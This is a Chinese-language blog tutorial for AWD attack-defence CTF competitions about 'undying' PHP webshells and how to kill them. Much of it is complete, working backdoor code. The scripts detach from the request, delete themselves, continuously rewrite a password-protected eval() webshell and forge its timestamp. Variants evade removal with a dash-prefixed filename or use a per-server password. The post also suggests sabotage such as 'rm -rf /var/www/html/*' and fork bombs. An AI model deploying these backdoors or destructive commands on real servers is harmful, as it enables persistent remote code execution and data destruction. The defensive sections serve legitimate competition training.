AWD不死马与克制方法

不死马

一个典型的不死马:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.l.php';
$code = '<?php if(md5($_GET["pass"])=="56183c1f36ef08fb8b027a4116db8483"){@eval($_POST["a"]);} ?>';
//pass=lewiserii
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .l.php');
usleep(1000);
}
?>

解释一下
ignore_user_abort(true); 忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit(0); 设置脚本最大执行时间,这里设置为0,即没有时间方面的限制
unlink(__FILE__); 删除文件本身,以起到隐蔽自身的作用

当上传完后需要访问一次不死马,生成一句话木马, 才能真正”不死”,这点很多新手第一次用可能会忽略,还有记得删除注释,不然就会被其他队乌鸦坐飞机

克制方法

当然,不死马也并非真正无敌,只是在低权限的情况下较难处理

高权限下的处理方法(root)

1:重启服务,杀掉不死马的进程
ubuntu的用service,centos的用systemctl

低权限下的处理方法

一般的awd比赛中基本不会放出root,所以我们的权限很低,无法进行重启服务等操作

不过办法总比困难多

方法一:kill进程

这个方法应该是目前最好的解决方案了,新建一个文件,比如del.php, 写上杀进程的命令,访问后即可删除不死马

1
2
3
4
5
6
7
8
9
10
11
www-data         //使用的时候注意用户不一定是www-data,根据实际情况来
<?php
system("kill `ps aux | grep www-data | awk '{print $2}' | xargs kill -9`");

php-fpm //杀php-fpm进程
<?php
system("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2}'`");

php-apache //杀httpd进程
<?php
system("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`");

方法二:创建一个和不死马生成的马一样名字的目录
对自己的防御不放心的话可以提前创建几个常用马名字的文件夹,比如m.php,shell.php

编写一个shell脚本

1
2
3
#!/bin/bash
cd /var/www/html/
while true;do rm -rf .l.php;mkdir .l.php;done

放在后台运行,实测不是很稳定,不推荐使用

方法三:竞争写入无意义的一句话
usleep值比对方马的值低就行

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.l.php';
$code = '<?php echo "lewiserii" ?>';
while (1){
file_put_contents($file,$code);
//system('touch -m -d "2018-12-01 09:10:12" .l.php');
//usleep(1000);
usleep(0);
}
?>

变种不死马与搅屎棍

唯一的区别是文件名前加了个短杠,这就很骚了,会与命令的参数冲突而无法对它操作,但是浏览器中却可以正常解析

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '-index.php';
$code = '<?php if(md5($_GET["pass"])=="56183c1f36ef08fb8b027a4116db8483"){@eval($_POST["a"]);} ?>';
//pass=lewiserii
while (1){
file_put_contents($file,$code);
//system('touch -m -d "2018-12-01 09:10:12" -index.php');
usleep(0);
}
?>

这个应该算是比较冷门的知识点了,想要操作也很简单,在文件前加上两个--就可以了,表示转义字符,或者形如./-index.php

搅屎棍:在不死马中添加rm -rf /var/www/html/*;或者创建大量无意义的文件;或者制作fork炸弹等等

动态密码

php获取SERVER_ADDR的值进行md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '-lewiserii.php';
$ip = $_SERVER['SERVER_ADDR'];
$pass = md5($ip);
$code = '<?php if(md5($_REQUEST["pass"])=="' . $pass . '"){@eval($_REQUEST["cmd"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" ./-lewiserii.php');
usleep(500);
}
?>

但是也有缺点,因为密码是明文传输,很容易反应过来然后上车
其实更好的方式是利用python等脚本在本地加密完再传到靶机


AWD不死马与克制方法
https://www.dr0n.top/posts/46ef80a/
作者
dr0n
发布于
2022年1月3日
更新于
2024年3月21日
许可协议